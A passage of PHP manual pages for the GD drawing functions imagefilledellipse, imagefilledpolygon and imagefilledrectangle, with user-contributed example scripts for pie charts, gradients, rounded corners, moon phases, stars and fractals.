$darkcolor[3] = imagecolorallocate($im, 164, 0, 77);
$darkcolor[4] = imagecolorallocate($im, 48, 0, 46);
$darkcolor[5] = imagecolorallocate($im, 0, 12, 86);
$darkcolor[6] = imagecolorallocate($im, 0, 52, 129);
$darkcolor[7] = imagecolorallocate($im, 0, 95, 145);
$darkcolor[8] = imagecolorallocate($im, 0, 65, 56);
$darkcolor[9] = imagecolorallocate($im, 128, 160, 2);
$darkcolor[10] = imagecolorallocate($im, 87, 41, 24);
$darkcolor[11] = imagecolorallocate($im, 32, 6, 0);

//Getting the data from GET
$i = 0;
while ($i <= 11) {
$data[$i] = $_GET[++$i];
}

//Getting ready
$datasum = array_sum($data);
$anglesum[0] = 0;
$angle[0] = 0;
$i = 0;

//Calc the start and end angle position of the elements
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    $part[$i] = $data[$n] / $datasum;
    $angle[$i] = floor($part[$i] * 360);
    $anglesum[$i] = array_sum($angle);
}

/*
//DEBUGGING - only for testing purposes
echo "<pre>";
print_r($part);
print_r($anglesum);
print_r($angle);
*/

// make the 3D effect
$n = 0;$i=0;
while ($n <= 11) {
    ++$n;
    $f = $n - 1;
    if ($angle[$n] != 0) {
        for ($i = 110; $i > 100; $i--) {
            imagefilledarc($im, 100, $i, 200, 100, $anglesum[$f], $anglesum[$n], $darkcolor[$f], IMG_ARC_PIE);
        }
    }
}

//make the 2d data that sits above the 3deffect
$i = 0;
while ($i <= 11) {
    ++$i;
    $n = $i - 1;
    if ($angle[$i] != 0) {
       imagefilledarc($im, 100, 100, 200, 100, $anglesum[$n], $anglesum[$i], $randcolor[$n], IMG_ARC_PIE);
    }
}

// flush image
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
caist - www.caist.com 07-Jan-2004 05:11
if you want to place a text onto the edge of a circle you need to
get a point on the circle:

$pos_x=$radius*sin(deg2rad($angle));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

if you want the point to be in the middle of a pie piece
you need a starting and ending angle

$pos_x=$radius*sin(deg2rad($angle_end-($angle_start)/2));
$pos_y=sqrt($radius*$radius-$pos_x*$pos_x);

hope it helps


Draw a filled ellipse

  • « imagefilledarc
  • imagefilledpolygon »
  • PHP Manual
  • GD and Image Functions
  • Draw a filled ellipse

imagefilledellipse

(PHP 4 >= 4.0.6, PHP 5)

imagefilledellipse — Draw a filled ellipse

Description

bool imagefilledellipse ( resource $image , int $cx , int $cy , int $width , int $height , int $color )

Draws an ellipse centered at the specified coordinate on the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

cx

x-coordinate of the center.

cy

y-coordinate of the center.

width

The ellipse width.

height

The ellipse height.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledellipse() example

<?php

// create a blank image
$image = imagecreatetruecolor(400, 300);

// fill the background color
$bg = imagecolorallocate($image, 0, 0, 0);

// choose a color for the ellipse
$col_ellipse = imagecolorallocate($image, 255, 255, 255);

// draw the white ellipse
imagefilledellipse($image, 200, 150, 300, 200, $col_ellipse);

// output the picture
header("Content-type: image/png");
imagepng($image);

?>

The above example will output something similar to:

Output of example : imagefilledellipse()

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imageellipse() - Draw an ellipse
  • imagefilledarc() - Draw a partial arc and fill it

User Contributed Notes

Mark 08-Dec-2008 02:03
This draws an anti-aliased circle with an optional border. Call with <img src="circle.php?r=50&fg=ff0000&bg=000000&bw=5&bc=ffff00"/> to draw a filled circle with radius=50, foreground color=red, background color=black, border width=5, and border color=yellow. Assumes register_globals is on, but you can fix that easily.

<?php
header('Content-type: image/png');

is_numeric($r) or $r = 8;
is_numeric($bw) or $bw = 0;
strlen($fg)==6 or $fg = 'e8e8e8';
strlen($bg)==6 or $bg = 'ffffff';
strlen($bc)==6 or $bc = '000000';

function hex2rgb($im,$hex) {
    return imagecolorallocate($im,
        hexdec(substr($hex,0,2)),
        hexdec(substr($hex,2,2)),
        hexdec(substr($hex,4,2))
        );
}

$a = $r*2;
$b = $a*4;
$c = $b/2;
$d = $b;
$e = $d-($bw*8);

$im1 = imagecreatetruecolor($b,$b);
$im2 = imagecreatetruecolor($a,$a);
imagefill($im1,0,0,hex2rgb($im1,$bg));
if($bw) imagefilledellipse($im1,$c,$c,$d,$d,hex2rgb($im1,$bc));
imagefilledellipse($im1,$c,$c,$e,$e,hex2rgb($im1,$fg));
imagecopyresampled($im2,$im1,0,0,0,0,$a,$a,$b,$b);
imagepng($im2);
?>
sunbox at gmx dot net 20-Oct-2006 01:15
draws a gradient filled ellipse with alpha color support based on felixbruns at <ANTI-SPAM>web dot de imagegradientellipse function. thx felixbruns :o)

function imagegradientellipsealpha($image, $cx, $cy, $w, $h, $ic, $oc){
       $w = abs($w);
       $h = abs($h);
       $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
       $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
       $c0 = ($oc[0] - $ic[0]) / $w;
       $c1 = ($oc[1] - $ic[1]) / $w;
       $c2 = ($oc[2] - $ic[2]) / $w;
       $ot = $oc >> 24;
       $it = $ic >> 24;
       $ct = ($ot - $it) / $w;
       $i = 0;
       $j = 0;
       $is = ($w<$h)?($w/$h):1;
       $js = ($h<$w)?($h/$w):1;
       while(1){
           $r = $oc[0] - floor($i * $c0);
           $g = $oc[1] - floor($i * $c1);
           $b = $oc[2] - floor($i * $c2);
           $t = $ot - floor($i * $ct);
           $c = imagecolorallocatealpha($image, $r, $g, $b, $t);
           imageellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
           if($i < $w){
               $i += $is;
           }
           if($j < $h){
               $j += $js;
           }
           if($i >= $w && $j >= $h){
               break;
           }
       }
    }
felixbruns at <ANTI-SPAM>web dot de 27-Aug-2006 02:57
I quickly made a gradient ellipse function (i took some code from other gradient functions). It works like imageellipse or imagefilledellipse but with two color parameters: $ic is the inner color of the gradient ellipse and $oc is the outer color.

<?php

function imagegradientellipse($image, $cx, $cy, $w, $h, $ic, $oc){
    $w = abs($w);
    $h = abs($h);
    $oc = array(0xFF & ($oc >> 0x10), 0xFF & ($oc >> 0x8), 0xFF & $oc);
    $ic = array(0xFF & ($ic >> 0x10), 0xFF & ($ic >> 0x8), 0xFF & $ic);
    $c0 = ($oc[0] - $ic[0]) / $w;
    $c1 = ($oc[1] - $ic[1]) / $w;
    $c2 = ($oc[2] - $ic[2]) / $w;
    $i = 0;
    $j = 0;
    $is = ($w<$h)?($w/$h):1;
    $js = ($h<$w)?($h/$w):1;
    while(1){
        $r = $oc[0] - floor($i * $c0);
        $g = $oc[1] - floor($i * $c1);
        $b = $oc[2] - floor($i * $c2);
        $c = imagecolorallocate($image, $r, $g, $b);
        imagefilledellipse($image, $cx, $cy, $w-$i, $h-$j, $c);
        if($i < $w){
            $i += $is;
        }
        if($j < $h){
            $j += $js;
        }
        if($i >= $w && $j >= $h){
            break;
        }
    }
}

?>
jbr at ya-right dot com 23-Feb-2006 04:33
This is a niffty function that you can use to make transparent ellipse/round type cutouts of any PNG or GIF image. The hard part is finding what color to use for the cutout layer and then the transparent layer, because you don't want to set the transparent index to a color being used in the image. After that it's as simple as layering the two images together.

what you need for the example...

a image of the size you want the cutout to be, gif or png (true color /256) can be used!

<?

$original_image = './image.png';
$output_image = './new.png';
$temp_image = './temp'; // path and name (don't include the extension)
$is_true_color = true;

$ext = substr ( $original_image, strrpos ( $original_image, '.' ) );
$temp_image .= $ext;
$new = image_get ( $ext, $original_image );
$width = imagesx ( $new );
$height = imagesy ( $new );

// we need to create temp reduced image so we can get the colors
// in a high bit true color image (png 16,24 bit only)

if ( $is_true_color )
{
    imagetruecolortopalette ( $new, false, 256 );
    image_make ( $new, $ext, $temp_image );
    imagedestroy ( $new );
    $colors = get_rgb ( $temp_image, $ext );
    @unlink ( $temp_image );
    $new = image_get ( $ext, $original_image );
}
else
{
    $colors = get_rgb ( $original_image, $ext );
}

// this creates the cutout layer (2 colors, both will become transparent)

$old = imagecreate ( $width, $height );
imageantialias( $old, true );
imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
$bg = imagecolorallocate ( $old, $colors[1]['red'], $colors[1]['green'], $colors[1]['blue'] );
imagefilledellipse ( $old, floor ( $width / 2 ), floor ( $height / 2 ), $width, $height, $bg );
imagecolortransparent ( $old, $bg );
imagecopy ( $new, $old, 0, 0, 0, 0, $width, $height );
image_make ( $new, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

// this layers both images together, making a nice ellipse/round transparent image cutout

$old = imagecreate ( $width, $height );
$new = image_get ( $ext, $output_image );
$tbg = imagecolorallocate ( $old, $colors[0]['red'], $colors[0]['green'], $colors[0]['blue'] );
imagecopy ( $old, $new, 0, 0, 0, 0, $width, $height );
imagecolortransparent ( $old, $tbg );
image_make ( $old, $ext, $output_image );
imagedestroy ( $old );
imagedestroy ( $new );

/*
* shortcut functions (1,2)
*/

// returns the called image resource

function image_get ( $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        return ( imagecreatefromgif ( $name ) );
        break;
        case '.png' :
        return ( imagecreatefrompng ( $name ) );
        break;
    }
}

// outputs the image named passed to it

function image_make ( $io, $ext, $name )
{
    switch ( $ext )
    {
        case '.gif' :
        imagegif ( $io, $name );
        break;
        case '.png' :
        imagepng ( $io, $name );
        break;
    }
}

// get (2) colors not found in the current image

function get_rgb ( $image, $ext )
{
    $x = 0;
    $colors = array ();
    $img = image_get ( $ext, $image );

    for ( $color = 10; $color <= 250; $color++ )
    {
        if ( imagecolorexact ( $img, $color, $color, $color ) == -1 )
        {
            $colors[] = array ( 'red' => $color, 'green' => $color, 'blue' => $color );

            if ( $x == 1 )
            {
                imagedestroy ( $img );
                return ( $colors );
            }

            $x++;
        }
    }

    imagedestory ( $img );
    return ( $colors );
}

?>

You can try a demo here (SGML) capture a web page, then make multi cutouts example!

http://www.ya-right.com/
mark at freegeekchicago dot org 11-Oct-2005 07:12
Here is a simple script using imagefilledellipse to created rounded corners on the fly.  It takes color, bg_color, width, height, and placement (i.e. top left, bottom right) as arguments.

<?php
$color = $_REQUEST['color'];
$bg_color = $_REQUEST['bg_color'];

$c_width = $_REQUEST['width'];
$c_height = $_REQUEST['height'];

$placement = $_REQUEST['placement'];

$width = 2 * $c_width;
$height = 2 * $c_height;

// create a blank image
$image = imagecreatetruecolor($c_width, $c_height);

// fill the corner color
$col_ellipse = hex2int($image, $color);

// fill the background color

$bg = hex2int($image, $bg_color);

// fill the background color
imagefill($image, 0, 0, $bg);

// draw the ellipse
//takes (resource image, int cx, int cy, int w, int h, int color)

// bottom right corner
if ($placement == "br") {imagefilledellipse($image, 0, 0, $width, $height, $col_ellipse);}

// top right corner
if ($placement == "tl") {imagefilledellipse($image, $c_width, $c_height, $width, $height, $col_ellipse);}

// top left corner
if ($placement == "tr") {imagefilledellipse($image, 0, $c_height, $width, $height, $col_ellipse);}

// bottom left corner
if ($placement == "bl") {imagefilledellipse($image, $c_width, 0, $width, $height, $col_ellipse);}

// output the picture
header("Content-type: image/png");
imagepng($image);

function hex2int($image, $color) {
  $string = str_replace("#","",$color);
  $red = hexdec(substr($string,0,2));
  $green = hexdec(substr($string,2,2));
  $blue = hexdec(substr($string,4,2));

  $color_int = imagecolorallocate($image, $red, $green, $blue);
  return($color_int);
}
?>

You would call it like so:
<img src="round_test.php?
width=50&height=50&color=fffefe&bg_color=99e1e0&placement=tr">
richard at mf2fm dot co dot uk 09-Feb-2005 11:25
Here is a piece of code using imagefilledellipse which creates a simulation of the current phase of the moon...

Usage is <img src="moon.php?size=100"> which produces an image 100px by 100px wide.  If size is left out, the default is 24px by 24px.

<?php

$mps=2551442.8; // moon phase in seconds (29 days, 12 hours, 44 mins, 2.8 secs)
$position=time()-mktime(10, 32, 0, 1, 25, 2005); // seconds since full moon at 10:32GMT on 25 Jan 2005
$position=($position-$mps*intval($position/$mps))/$mps; // phase from 0 to 1

$position=2*(0.5-$position);
## revised to produce easier to work with...
## $position=1 - full moon
## $position=0 - new moon
## $position=-1 - full moon

$size=$_GET['size'];
if (!is_numeric($size)) $size=24; // width/height in pixels
$moon=imagecreate($size, $size);
$dark=imagecolorallocate($moon, 0, 34, 68); // background colour for moon
$light=imagecolorallocate($moon, 238, 238, 255); // foreground colour for moon
$corona=imagecolorallocatealpha($moon, 153, 153, 153, 64); // edge of moon (semi-transparent)

##
## Make transparent background
##
$background=imagecolorallocatealpha($moon, 0, 0, 0, 127);
imagefill($moon, 0, 0, $background);

##
## Make the moon!
##
imagefilledellipse($moon, round($size/2), round($size/2), $size, $size, $corona);
if ($position>-1/$size AND $position<1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark); // new moon
elseif (abs($position)>1-1/$size) imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light); // full moon
elseif ($position>0) {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $light);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position-0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $dark);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$dark) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$light) imagesetpixel($moon, $j, $i, $dark);
        }
    }
}
else {
    imagefilledellipse($moon, round($size/2), round($size/2), $size-2, $size-2, $dark);
    for ($i=0; $i<$size-2; $i++) {
        $xpos=($size-2)/2;
        $xpos=1-($i/$xpos);
        $xpos=sqrt(1-($xpos*$xpos));
        $xpos=($size/2)+($position+0.5)*$xpos*($size-2);
        imagesetpixel($moon, round($xpos), $i+1, $light);
    }
    for ($i=0; $i<$size; $i++) {
        $set=0;
        for ($j=0; $j<$size; $j++) {
            if (!$set AND imagecolorat($moon, $j, $i)==$light) $set=1;
            elseif ($set AND imagecolorat($moon, $j, $i)==$dark) imagesetpixel($moon, $j, $i, $light);
        }
    }
}

##
## And output the picture
##
header ("Content-Type: image/png");
imagepng($moon);
imagedestroy($moon);
?>
dave at corecommunications dot us 11-Oct-2002 03:56
I needed to draw translucent circles on an existing image, using imagealphablending($image,true);. Turns out that imagefilledellipse seems to do the ellipse by drawing a series of lines from the centroid out to the circumference. Problem with this is that pixels near the center very visibly get drawn multiple times, producing a kind of moire effect. Also, the 0-degree (center to right) line is drawn twice and so is twice as dark the pixel below it.

My workaround was to draw the ellipse solid in a copy of the source image and do an imagecopymerge back into the original.
ivank at 2xtreme dot net 31-Mar-2002 01:31
Sometimes, you have x1, y1, x2, y2 parameters, but not the center, width, and height. Use this to draw a filled ellipse from your x1, y1, x2, and y2:

ImageFilledEllipse(
$im,
($x1 + round(($x2 - $x1) / 2)),
($y1 + round(($y2 - $y1) / 2)),
($x2 - $x1),
($y2 - $y1),
$color);
harry dot wood at ic dot ac dot uk 20-Jun-2001 01:09
This draws a rotated ellipse. If you don't want filled ellipses, then you don't need the triangle function.

function triangle($x1,$y1, $x2,$y2, $x3,$y3, $colour) {
   global $im;
   $coords = array($x1,$y1, $x2,$y2, $x3,$y3);
   imagefilledpolygon($im, $coords, 3, $colour);
}

function rotatedellipse($cx, $cy, $width, $height, $rotateangle, $colour, $filled=true) {
   global $im;
   $step=15;
   $cosangle=cos(deg2rad($rotateangle));
   $sinangle=sin(deg2rad($rotateangle));

   $squishratio = $height/$width;
   $nopreviouspoint = true;
   for ($angle=0; $angle<=(180+$step); $angle+=$step) {

      $ox = ($width * cos(deg2rad($angle)));
      $oy = ($width * sin(deg2rad($angle))) * $squishratio;

      $x = ($ox * $cosangle) - ($oy * $sinangle);
      $y = ($ox * $sinangle) + ($oy * $cosangle);

      if ($nopreviouspoint) {
        $px=$x;
        $py=$y;
        $nopreviouspoint=false;
      }

      if ($filled) {
         triangle($cx, $cy, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         triangle($cx, $cy, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      } else {
         imageline($im, $cx+$px, $cy+$py, $cx+$x, $cy+$y, $colour);
         imageline($im, $cx-$px, $cy-$py, $cx-$x, $cy-$y, $colour);
      }
      $px=$x;
      $py=$y;
   }
}


Draw a filled polygon

  • « imagefilledellipse
  • imagefilledrectangle »
  • PHP Manual
  • GD and Image Functions
  • Draw a filled polygon

imagefilledpolygon

(PHP 4, PHP 5)

imagefilledpolygon — Draw a filled polygon

Description

bool imagefilledpolygon ( resource $image , array $points , int $num_points , int $color )

imagefilledpolygon() creates a filled polygon in the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

points

An array containing the x and y coordinates of the polygons vertices consecutively.

num_points

Total number of vertices, which must be at least 3.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledpolygon() example

<?php
// set up array of points for polygon
$values = array(
            40,  50,  // Point 1 (x, y)
            20,  240, // Point 2 (x, y)
            60,  60,  // Point 3 (x, y)
            240, 20,  // Point 4 (x, y)
            50,  40,  // Point 5 (x, y)
            10,  10   // Point 6 (x, y)
            );

// create image
$image = imagecreatetruecolor(250, 250);

// allocate colors
$bg   = imagecolorallocate($image, 0, 0, 0);
$blue = imagecolorallocate($image, 0, 0, 255);

// fill the background
imagefilledrectangle($image, 0, 0, 249, 249, $bg);

// draw a polygon
imagefilledpolygon($image, $values, 6, $blue);

// flush image
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

The above example will output something similar to:

Output of example : imagefilledpolygon()

User Contributed Notes

austinoblouk at yahoo dot com 06-Sep-2009 05:28
Actually the minimum it allows is 3. It says "Total number of vertices, which must be bigger than 3." but it allows 3...
Arnapou 29-Oct-2007 03:49
I discovered that the GD imagefilledpolygon function is incorrect for some drawing with transparent color (for example red 50% : RGBA = 255, 0, 0, 64).

I tried to draw a complex form with lots of points really near (1 pixel of distance) and a transparent red.

The problem was : some border pixels were not drawn by the imagefilledpolygon but were drawn with imagepolygon !?!?

So I wrote my own imagefilledpolygon function which work very well in all case I tested.

<?php
// $points should be an array of coordinates like that :
$points = array(
    array(0, 0),
    array(100, 50),
    array(90, 100),
    array(50, 50),
    array(70, 30),
    array(10, 10),
);
?>

<?php
function myimagefilledpolygon(& $img, $points, $color) {
    $scanline = 99999;
    // compute edges
    $all_edges = array();
    $n = count($points);
    for($i=0; $i<$n; $i++) {
        $p1 = $points[$i];
        if ($i == $n-1) { $p2 = $points[0]; } else { $p2 = $points[$i+1]; }
        $x1 = $p1[0]; $y1 = $p1[1];
        $x2 = $p2[0]; $y2 = $p2[1];
        if ($y1 != $y2) {
            $invslope = ($x2 - $x1)/($y2 - $y1);
            if ($y1 < $y2 ) {
                $ymin = $y1;
                $xval = $x1;
                $ymax = $y2;
            } else {
                $ymin = $y2;
                $xval = $x2;
                $ymax = $y1;
            }
            $all_edges[] = array($ymin, $ymax, $xval, $invslope);
            if ($ymin < $scanline) { $scanline = $ymin; }
        } else {
            if ($y1 < $scanline) { $scanline = $y1; }
            if ($y2 < $scanline) { $scanline = $y2; }
        }
    }
    // draw
    $active = array();
    do {
        // add edges to active array
        $tmp = array();
        $n = count($all_edges);
        for($i=0; $i<$n; $i++) {
            if ($all_edges[$i][0] == $scanline) {
                $active[] = $all_edges[$i];
            } else {
                $tmp[] = $all_edges[$i];
            }
        }
        $all_edges = $tmp;
        // remove previous edges from active array
        $tmp = array();
        $n = count($active);
        for($i=0; $i<$n; $i++) {
            if ($active[$i][1] > $scanline) {
                $tmp[] = $active[$i];
            }
        }
        $active = $tmp;
        // sort active tab
        $n = count($active);
        for($i=0; $i<$n-1; $i++) {
            $min = $i;
            for($k=$i+1; $k<$n; $k++) {
                if ($active[$k][2] < $active[$min][2]) { $min = $k; }
            }
            if ($i != $min) {
                $tmp = $active[$i];
                $active[$i] = $active[$min];
                $active[$min] = $tmp;
            }
        }
        // draw
        $n = count($active);
        for($i=0; $i<$n; $i+=2) {
            if ($i+1 < $n) {
                if ($tmp[$i][2] == $active[$i+1][2]) {
                    imagesetpixel($img, round($active[$i][2]), $scanline, $color);
                } else {
                    imageline($img, round($active[$i][2]), $scanline, round($active[$i+1][2]), $scanline, $color);
                }
            }
        }
        // increment x values
        $n = count($active);
        for($i=0; $i<$n; $i++) { $active[$i][2] += $active[$i][3]; }
        $scanline++;
    } while (count($all_edges) + count($active) > 0);
}
?>
webmaster at mywebsolution dot de 22-Oct-2007 11:24
Just thought that 'tatlar at yahoo dot com's function has some redundant code in it, so I tried to "improve" it. Now you can choose a variable number of spikes.

<?php
error_reporting(E_ALL);
function drawStar($x, $y, $radius, $spikes=5) {
    // $x, $y -> Position in the image
    // $radius -> Radius of the star
    // $spikes -> Number of spikes

    $coordinates = array();
    $angel = 360 / $spikes ;

    // Get the coordinates of the outer shape of the star
    $outer_shape = array();
    for($i=0; $i<$spikes; $i++){
        $outer_shape[$i]['x'] = $x + ($radius * cos(deg2rad(270 - $angel*$i)));
        $outer_shape[$i]['y'] = $y + ($radius * sin(deg2rad(270 - $angel*$i)));
    }

    // Get the coordinates of the inner shape of the star
    $inner_shape = array();
    for($i=0; $i<$spikes; $i++){
        $inner_shape[$i]['x'] = $x + (0.5*$radius * cos(deg2rad(270-180 - $angel*$i)));
        $inner_shape[$i]['y'] = $y + (0.5*$radius * sin(deg2rad(270-180 - $angel*$i)));
    }

    // Bring the coordinates in the right order
    foreach($inner_shape as $key => $value){
        if($key == (floor($spikes/2)+1))
             break;
        $inner_shape[] = $value;
        unset($inner_shape[$key]);
    }

    // Reset the keys
    $i=0;
    foreach($inner_shape as $value){
        $inner_shape[$i] = $value;
        $i++;
    }

    // "Merge" outer and inner shape
    foreach($outer_shape as $key => $value){
         $coordinates[] = $outer_shape[$key]['x'];
         $coordinates[] = $outer_shape[$key]['y'];
         $coordinates[] = $inner_shape[$key]['x'];
         $coordinates[] = $inner_shape[$key]['y'];
    }

    // Return the coordinates
    return $coordinates ;
}

// Example
$spikes = 5;

$values = drawStar(250, 250, 200, $spikes);
$im = imagecreate(500,500);
imagecolorallocate($im,0,0,0);
$w = imagecolorallocate($im, 255, 255, 255);
imagefilledpolygon($im, $values, $spikes*2, $w);
imageGIF($im);
imagedestroy($im);
?>
jylyn at hotmail dot com 17-Oct-2006 02:11
In spite of what it says about requiring more than 3 vertices, it is possible to draw a triangle with this function!
tatlar at yahoo dot com 12-Sep-2006 02:08
<?php function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    // $x, $y co-ords of origin (in pixels), $radius (in pixels), $shape - 'polygon' or 'star', $spikiness - ratio between 0 and 1
    $point = array() ;
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
// Put values into imagepolygon function. You need to define the $image and $color, and flush it out to an image type.?>
etnekor at tar dot hu 22-Jan-2006 10:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
    $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
    $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>


Draw a filled rectangle

  • « imagefilledpolygon
  • imagefilltoborder »
  • PHP Manual
  • GD and Image Functions
  • Draw a filled rectangle

imagefilledrectangle

(PHP 4, PHP 5)

imagefilledrectangle — Draw a filled rectangle

Description

bool imagefilledrectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

Creates a rectangle filled with color in the given image starting at point 1 and ending at point 2. 0, 0 is the top left corner of the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

x-coordinate for point 1.

y1

y-coordinate for point 1.

x2

x-coordinate for point 2.

y2

y-coordinate for point 2.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledrectangle() usage

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$white = imagecolorallocate($im, 255, 255, 255);

// Draw a white rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $white);

// Save the image
imagepng($im, './imagefilledrectangle.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagefilledrectangle()

User Contributed Notes

Darren Edale 03-Oct-2013 06:58
The issue with filling using a rectangle is caused in your code by having alpha blending turned on before rendering the filled rectangle. Alpha blending causes what you draw on the image to be blended with whatever is already on the image according to the alpha channels of each. Therefore, because blending is on, and because the rectangle's fill colour is completely transparent, the blending of the existing image content with the transparent rectangle results in no change to the existing image.

With blending off, when drawing to the image what you draw completely replaces what is already there. So, drawing the rectangle in this case results in the original content of the image being completely replaced with a transparent rectangle.

So in order to use imagefilledrectangle() to erase an image to transparency, you need to turn off alpha blending first.

I guess the reason imagefill() works with alpha blending on is because it does not perform any alpha blending - it always works without alpha blending regardless of the setting. I suspect there are reasons for this to do with alpha channels complicating edge detection.

I would recommend using imagefilledrectangle() to create a blank transparent image resource instead of imagefill() because it is undoubtedly much faster in probably all cases.

Here is some example code to blank an image to transparent, assuming $im is a successfully created image:

<?php
$transparent = imagecolorallocatealpha($im, 0, 0, 0, 127);
imagealphablending($im, false);
imagefilledrectangle($im, 0, 0, imagesx($im) - 1, $imagesy($im) - 1, $transparent);
imagecolordeallocate($transparent);
imagealphablending($im, true);
?>
olivier dot pons at google dot mail dot com 21-Aug-2012 06:48
I wanted to clear an image, and set it to full transparent.
imagefilledrectangle() seems to ignore alpha channel and alpha blending.
Use imagefill() instead:

<?php
$w = imagesx($final);
$h = imagesy($final);
$grande = imagecreatetruecolor($w, $h);

// Alpha blending on to use channel alpha
imagealphablending($grande, true);
// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead
// of being transparent.
$transparent = imagecolorallocatealpha($grande, 0, 0, 0, 127);
// transparent alpha will be _ignored_:
imagefilledrectangle($grande, 0, 0, $w, $h, $transparent);
// ok, transparent will be used and set whole alpha channel to transparent:
imagefill($grande, 0, 0, $transparent);
?>
Tobi 25-Sep-2010 11:48
It looks like there are waves beetween the points, but it's straight.

<?php
$maxwert = 300;
$size = 10;
$img = imagecreatetruecolor($maxwert, $maxwert);
imagecolorallocate($img, 0, 0, 0);

   for($y=0;$y<$maxwert;$y += $size){
     for($x=0;$x<$maxwert;$x+=$size){
      $r = rand(0,255);
      $g = rand(0,255);
      $b = rand(0,255);
      $color = imagecolorallocate($img, $r, $g, $b);

      imagefilledrectangle ($img, $x, $y, $x+$size ,$y+$size, $color);

     }
   }
header("Content-type: image/png");
imagepng($img);
?>
Mice32 20-Mar-2010 01:57
That script draws Serpinski's carpet:

<?php
    set_time_limit(5);

    $i = 4;        // Iterations
    $xy = 500;    // Picture size

    $img = imagecreatetruecolor($xy, $xy);

    $white = imagecolorallocate($img, 255, 255, 255);

    drawCarpet(0, 0, $xy, $xy, $i);
    function drawCarpet($a, $b, $c, $d, $n) {
        global $img, $white;

        if($n <= 0) return;

        $a1 = 2 * $a / 3 + $c / 3;
        $c1 = $a / 3 + 2 * $c / 3;
        $b1 = 2 * $b / 3 + $d / 3;
        $d1 = $b / 3 + 2 * $d / 3;

